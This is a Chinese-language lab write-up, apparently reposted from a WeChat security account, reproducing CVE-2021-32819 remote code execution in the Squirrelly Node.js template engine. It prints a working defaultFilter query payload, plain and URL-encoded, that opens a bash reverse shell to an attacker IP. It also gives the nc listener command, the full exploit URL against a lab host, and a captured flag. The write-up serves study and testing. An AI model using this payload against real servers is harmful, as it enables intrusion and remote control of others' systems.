Nodejs squirrelly模版引擎RCE

admin 2023年2月24日23:08:00评论40 views字数 1736阅读5分47秒阅读模式

1、概述

Squirrelly 是一个用 JavaScript 实现的现代、可配置且速度极快的模板引擎。漏洞原因就是 Squirrelly 通过 Express 渲染 API 将纯模板数据与引擎配置选项混合。攻击者可以通过请求查询来覆盖并控制全局变量 defaultConfig (一组内部模板引擎配置选项)中的defaultFilter 属性。下游用户可能会无意中将不安全的行为引入他们的应用程序。该漏洞影响范围从跨站点脚本(XSS)到远程代码执行(RCE)(CVE-2021-32819)。

2、漏洞影响范围

影响版本:V8.0.0到V8.0.8

3、漏洞复现过程

我们先看下CVE的描述,在拿到一个漏洞复现的过程中需要查看漏洞细节,尽可能多的收集关于此漏洞的信息。

Nodejs squirrelly模版引擎RCE

根据漏洞细节,我们获取到反弹shell的payload:

?defaultFilter=e'));let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('/bin/bash -c "/bin/bash -i >& /dev/tcp/vpn/端口 0>&1"');//

首先我们对payload的部分进行URL编码,这里反弹shell的IP以及端口都是VPS的。

e'));let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.174.131IP/1234 0>&1"');//

我们对以上payload进行URL编码

e%27%29%29%3Blet%20require%20%3D%20global.require%20%7C%7C%20global.process.mainModule.constructor._load%3B%20require%28%27child_process%27%29.exec%28%27/bin/bash%20-c%20%22/bin/bash%20-i%20%3E%26%20/dev/tcp/192.168.174.131/1234%200%3E%261%22%27%29%3B//

构造好payload之后我们先访问一下漏洞环境。

Nodejs squirrelly模版引擎RCE

接着在VPS上开启监听

nc -lvp 1234

Nodejs squirrelly模版引擎RCE

然后将上述的payload跟漏洞环境的URL进行拼接。本篇文章payload中的IP地址均是内网地址,在复现的时候需要将其替换为公网IP进行复现

http://squirrelly_rce-ft432si.lab.aqlab.cn/?defaultFilter=e%27%29%29%3Blet%20require%20%3D%20global.require%20%7C%7C%20global.process.mainModule.constructor._load%3B%20require%28%27child_process%27%29.exec%28%27/bin/bash%20-c%20%22/bin/bash%20-i%20%3E%26%20/dev/tcp/192.168.174.131/1234%200%3E%261%22%27%29%3B//

然后访问上述URL。

Nodejs squirrelly模版引擎RCE

最后再查看VPS,反弹shell成功。

Nodejs squirrelly模版引擎RCE

根据环境提示,flag文件在/tmp/flag中,直接查看flag文件获取到了flag。

Nodejs squirrelly模版引擎RCE

flag{d59362b6-3e73-4d49-b5cf-e4ed21665f03}

至此漏洞复现完毕。最近在备考就先写一些漏洞复现的文章吧。

Nodejs squirrelly模版引擎RCE

免责声明:

本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责

原文始发于微信公众号(哈拉少安全小队):Nodejs squirrelly模版引擎RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月24日23:08:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nodejs squirrelly模版引擎RCEhttps://cn-sec.com/archives/1573729.html

发表评论

匿名网友 填写信息